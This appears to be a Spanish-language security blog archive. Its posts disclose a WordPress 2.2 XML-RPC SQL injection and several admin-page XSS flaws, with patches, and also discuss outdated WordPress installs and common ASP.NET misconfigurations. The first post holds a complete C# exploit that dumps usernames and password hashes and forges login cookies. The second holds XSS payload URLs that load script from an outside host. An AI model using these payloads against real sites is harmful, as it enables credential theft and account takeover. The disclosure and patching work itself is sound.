Categories
Seguridad Sql Injection Web WordPress

SQL Injection en WordPress 2.2 + exploit incluido

Como comentaba en una entrada anterior, la versión 2.2 y la versión en desarrollo de este CMS también son vulnerables a SQL Injection, aunque es más limitado que el anterior por requerir de un usuario válido.

El error, bastante tonto por cierto, se encuentra en la función wp_suggestCategories, en el archivo xmlrpc.php:

php:

function wp_suggestCategories($args) {
        global $wpdb;

        $this->escape($args);

        $blog_id                                = (int) $args[0];
        $username                            = $args[1];
        $password                            = $args[2];
        $category                            = $args[3];

        $max_results            = $args[4];

        if(!$this->login_pass_ok($username, $password)) {
                return($this->error);
        }

        // Only set a limit if one was provided.
        $limit = "";
        if(!empty($max_results)) {
                $limit = "LIMIT {$max_results}";
        }

        $category_suggestions = $wpdb->get_results("
                SELECT cat_ID category_id,
                        cat_name category_name
                FROM {$wpdb->categories}
                WHERE cat_name LIKE '{$category}%'
                {$limit}
        ");

        return($category_suggestions);
}

Como se puede observar en la porción de código, no se hace una conversión a entero del valor de $max_results, por lo que es posible enviar valores del tipo 0 UNION ALL SELECT user_login, user_pass FROM wp_users. Para que un atacante logre su objetivo, es necesario que éste tenga una cuenta de usuario válida (una cuenta de tipo suscriber basta y sobra) en el sitio víctima.

Preparé un pequeño exploit que devuelve la lista de usuarios con sus respectivas contraseñas en MD5, además también incluye las cookies de autenticación para cada usuario.

csharp:

using System;
using System.Net;
using System.Text;
using System.Xml;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

class Program
{
    static void Main(string[] args)
    {
        string targetUrl = "http://localhost/wp/";
        string login = "alex";
        string password = "1234";

        string data = @"<methodCall>
  <methodName>wp.suggestCategories</methodName>
  <params>
    <param><value>1</value></param>
    <param><value>{0}</value></param>
    <param><value>{1}</value></param>
    <param><value>1</value></param>
    <param><value>0 UNION ALL SELECT user_login, user_pass FROM {2}users</value></param>
  </params>
</methodCall>"
;

        string cookieHash = GetCookieHash(targetUrl);

        using (WebClient request = new WebClient())
        {
            /* Probar con el prefijo por omisión */
            string response = request.UploadString(targetUrl + "xmlrpc.php",
                string.Format(data, login, password, "wp_svn_"));

            /* Se hace una nueva petición si la consulta anterior falla */
            Match match = Regex.Match(response, @"FROM\s+(.*?)categories\s+");
            if (match.Success)
            {
                response = request.UploadString(targetUrl + "xmlrpc.php",
                    string.Format(data, login, password, match.Groups[1].Value));
            }

            try
            {
                XmlDocument doc = new XmlDocument();
                doc.LoadXml(response);

                XmlNodeList nodes = doc.SelectNodes("//struct/member/value");

                if (nodes != null && doc.SelectSingleNode("/methodResponse/fault") == null)
                {
                    string user, pass;
                    /* Mostrar lista de:
                     * Usuario     md5(contraseña)
                     * Cookie de Autenticación
                     *
                     */

                    for (int i = 0; i < nodes.Count / 2 + 1; i += 2)
                    {
                        user = nodes.Item(i).InnerText;
                        pass = nodes.Item(i + 1).InnerText;
                        Console.WriteLine("Usuario: {0}\tMD5(Contraseña): {1}",
                            user,
                            pass);
                        Console.WriteLine("Cookie: wordpressuser_{0}={1};wordpresspass_{0}={2}\n",
                            cookieHash,
                            user,
                            MD5(pass));
                    }
                }
                else
                {
                    Console.WriteLine("Error:\n{0}", response);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error:\n" + ex.ToString());
            }
        }
    }

    private static string GetCookieHash(string targetUrl)
    {
        WebRequest request = WebRequest.Create(targetUrl + "wp-login.php?action=logout");
        request.Method = "HEAD";
        (request as HttpWebRequest).AllowAutoRedirect = false;

        WebResponse response = request.GetResponse();
        if (response != null)
        {
            Match match = Regex.Match(response.Headers["Set-Cookie"],
                    @"wordpress[a-z]+_([a-z\d]{32})",
                    RegexOptions.IgnoreCase);

            if (match.Success)
                return match.Groups[1].Value;
        }
        return string.Empty;
    }
    public static string MD5(string password)
    {
        MD5CryptoServiceProvider x = new MD5CryptoServiceProvider();
        byte[] bs = Encoding.UTF8.GetBytes(password);
        bs = x.ComputeHash(bs);
        StringBuilder s = new StringBuilder();
        foreach (byte b in bs)
        {
            s.Append(b.ToString("x2").ToLower());
        }
        return s.ToString();
    }
}

Para corregir este problema, mientras liberan actualizaciones para WordPress 2.2, es editar el archivo xmlrpc.php y cambiar la línea $max_results = $args[4]; de la función wp_suggestCategories por $max_results = (int) $args[4]; o en su defecto bloquear el acceso a xmlrpc.php. 😉

Actualización: Pueden aplicar el parche oficial (es lo mismo que sugerí)

Categories
Seguridad Web WordPress XSS

Más vulnerabilidades XSS para WordPress

Actualización: g30rg3_x se ha tomado la molestia de preparar un parche más completo para WordPress 2.2.

Siguen reportándose más bugs de WordPress, esta vez afecta a los archivos wp-admin/post-new.php, wp-admin/page-new.php, wp-admin/users-edit.php. Estos errores al parecer están presentes en todas las versiones de WordPress.

Las pruebas de concepto son las siguientes (sólo funcionan en Firefox, pero también se pueden preparar ejemplos para Internet Explorer):

code:

http://www.site.com/path.to/wp-admin/post-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&popuptitle=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/page-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&post_title=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'

Si alguien no quiere esperar una nueva versión y desea corregir el problema por sus propios medios, puede basarse en el siguiente parche generado a partir de la versión de desarrollo de WordPress:

diff:

Index: wp-admin/edit-form-advanced.php
===================================================================
--- wp-admin/edit-form-advanced.php     (revision 5508)
+++ wp-admin/edit-form-advanced.php     (working copy)
@@ -140,7 +140,7 @@
 
 <fieldset id="titlediv">
        <legend><?php _e('Title') ?></legend>
-       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 <fieldset id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>">
Index: wp-admin/edit-page-form.php
===================================================================
--- wp-admin/edit-page-form.php (revision 5508)
+++ wp-admin/edit-page-form.php (working copy)
@@ -126,7 +126,7 @@
 
 <fieldset id="titlediv">
   <legend><?php _e('Page Title') ?></legend>
-  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 
Index: wp-admin/user-edit.php
===================================================================
--- wp-admin/user-edit.php      (revision 5508)
+++ wp-admin/user-edit.php      (working copy)
@@ -76,7 +76,7 @@
 <form name="profile" id="your-profile" action="user-edit.php" method="post">
 <?php wp_nonce_field('update-user_' . $user_id) ?>
 <?php if ( $wp_http_referer ) : ?>
-       <input type="hidden" name="wp_http_referer" value="<?php echo wp_specialchars($wp_http_referer); ?>" />
+       <input type="hidden" name="wp_http_referer" value="<?php echo clean_url($wp_http_referer); ?>" />
 <?php endif; ?>
 <p>
 <input type="hidden" name="from" value="profile" />
 

Para los que no estén familiarizados con los parches, deben eliminar las líneas que comienzan con "-" y cambiarlas por las que empiezan por "+".

Categories
Seguridad Web WordPress

Seguridad de WordPress y la [triste] realidad

Ante los múltiples fallos de seguridad reportados en WordPress durante este año, muchos hemos publicado artículos sobre problemas de seguridad tanto del core de WordPress como de algunos plugins, también se publicó material sobre como desarrollar plugins seguros y hasta dado consejos para mejorar la seguridad de un blog; sin embargo, parece que este esfuerzo no parece reflejarse en los usuarios de a pie.

Esta racha de vulnerabilidades, se debe no sólo a que éste CMS es cada vez más complejo y popular, sino también, como mencionaba anteriormente, a la falta de interés o desconocimiento (¿falta de documentación?) de aspectos relacionados a la seguridad por parte de los desarrolladores de temas y plugins.

WordPress has become one of the most popular blogging packages on the Internet; this is largely due to its ease of use and its object oriented design which allows the user to easily extend its capabilities in the form of WordPress Plugins.

Unfortunately, "ease of use", and "security" are to often like lemon and milk.

David Kierznowski hizo público los resultados de una pequeña encuesta realizada sobre 50 blogs que usan WordPress, de los cuáles 49 de ellos eran potencialmente vulnerables porque usan versiones desactualizadas.

Versión de WordPress N° de Blogs
1.2 2
1.2-beta 2
1.2.1 3
1.2.2 4
1.5 7
1.5-gamma 1
1.5.1.1 1
1.5.1.2 1
1.5.2 1
2.0 4
2.0.1 3
2.0.2 1
2.0.3 1
2.0.4 6
2.0.5 3
2.0.6 2
2.1 2
2.1.2 2
2.1.3 3
2.2 1
Total 50

Está claro que el principal problema al igual que otro tipo de aplicaciones, es que no hay una forma efectiva de que el usuario final se entere y aplique, sin mayor esfuerzo y con menos dolores de cabeza, las actualizaciones de seguridad que se liberan...

Luego de presenciar y reportar varios problemas de seguridad de WordPress en este año, ya no creo que éste CMS (+plugins) sea lo suficientemente estable como para poner mis manos al fuego y ser [tan] audaz como algunos para decir que es seguro 🙂

Categories
.NET ASP.NET Seguridad Web

10 errores más comunes que pueden causar problemas de seguridad en ASP.NET

Brian Sullivan, comenta los 10 errores más comunes que se cometen al configurar aplicaciones ASP.NET, estas configuraciones mal hechas podrían ayudar a los atacantes a vulnerar nuestras aplicaciones Web.

  1. Custom Errors deshabilitado: Al tener deshabilitado esta opción, los errores que se producen en la aplicación se muestran a todos. Los valores adecuados son On y RemoteOnly, en el primero se puede especificar páginas personalizadas para mostrar mensajes de error más amigables.
  2. Dejar habilitado el seguimiento de página (Tracing): Esta característica de ASP.NET contiene información bastante detallada de todo lo que pasa en la aplicación (registro de instrucciones relacionadas con el principio y el final de métodos de la ejecución, como Init, Render y PreRender; variables o encabezados de formulario y objetos QueryString, jerarquía de controles, estado de sesión y estado de aplicación). Un atacante puede utilizar toda esta información - accediendo simplemente a trace.axd - para lograr vulnerar nuestras aplicaciones, el valor adecuado para esta opción es:
    xml:

    <trace enabled="false" localOnly="true">
  3. Depuración habilitada: Tener esta opción habilitada, no sólo afecta al rendimiento de la aplicación, sino también que se muestran errores más detallados.
  4. Cookies accesibles desde código de cliente: Esto básicamente se refiere al uso de cookies del tipo HttpOnly, técnica que mitiga de algún modo el robo de cookies. Hay que tener en cuenta que esta característica no es la panacea para asegurar nuestra aplicación, además si se habilita esta opción a nivel de la aplicación, puede traer ciertos problemas al momento de trabajar con cookies en código de cliente.
  5. Cookies de estado de sesión enviadas por Url: El autor recomienda usar cookies para almacenar el ID de la sesión, de este modo se evitaría que un atacante suplante a un usuario válido al robar este valor usando algún sniffer - personalmente no veo mucha diferencia entre usar uno u otro método.
  6. Cookies de autenticación enviadas por Url: Ídem al anterior.
  7. No usar SSL para transmitir las cookies de autenticación: El uso de SSL en teoría permite la comunicación segura de datos.
  8. Uso de slidingExpiration en la autenticación: El tener este valor habilitado (<forms slidingExpiration="true">), permite que el tiempo de vida de la sesión vaya cambiando a medida que el usuario vaya interactuando con la aplicación. Sin embargo, con esta opción deshabilitada sólo se dispone de un tiempo fijo para la sesión, de esta manera si alguien suplanta a usuarios legítimos sólo tendrá un espacio de tiempo limitado.
  9. Cookies de autenticación no únicas: EL autor se refiere a usar diferentes valores para el nombre de la cookie de autenticación (<forms name="otro_valor">) en aplicaciones ASP.NET diferentes (para los casos en los que existen más de 2 aplicaciones en un mismo dominio)
  10. Almacenar las credenciales de usuario en Web.config:

Para mayores detalles pueden visitar los artículos originales.

Categories
Diseño Miniposts Web

Conferencias y talleres: Cristalab Perú 2007

Cristalab realizará un evento los días 6, 7 y 8 en la Universidad San Ignacio de Loyola de Lima - Perú, evento en el cual se realizarán talleres y conferencias sobre diseño y desarrollo de sitios web.

Para mayor información pueden visitar la página de Cristalab Perú 2007.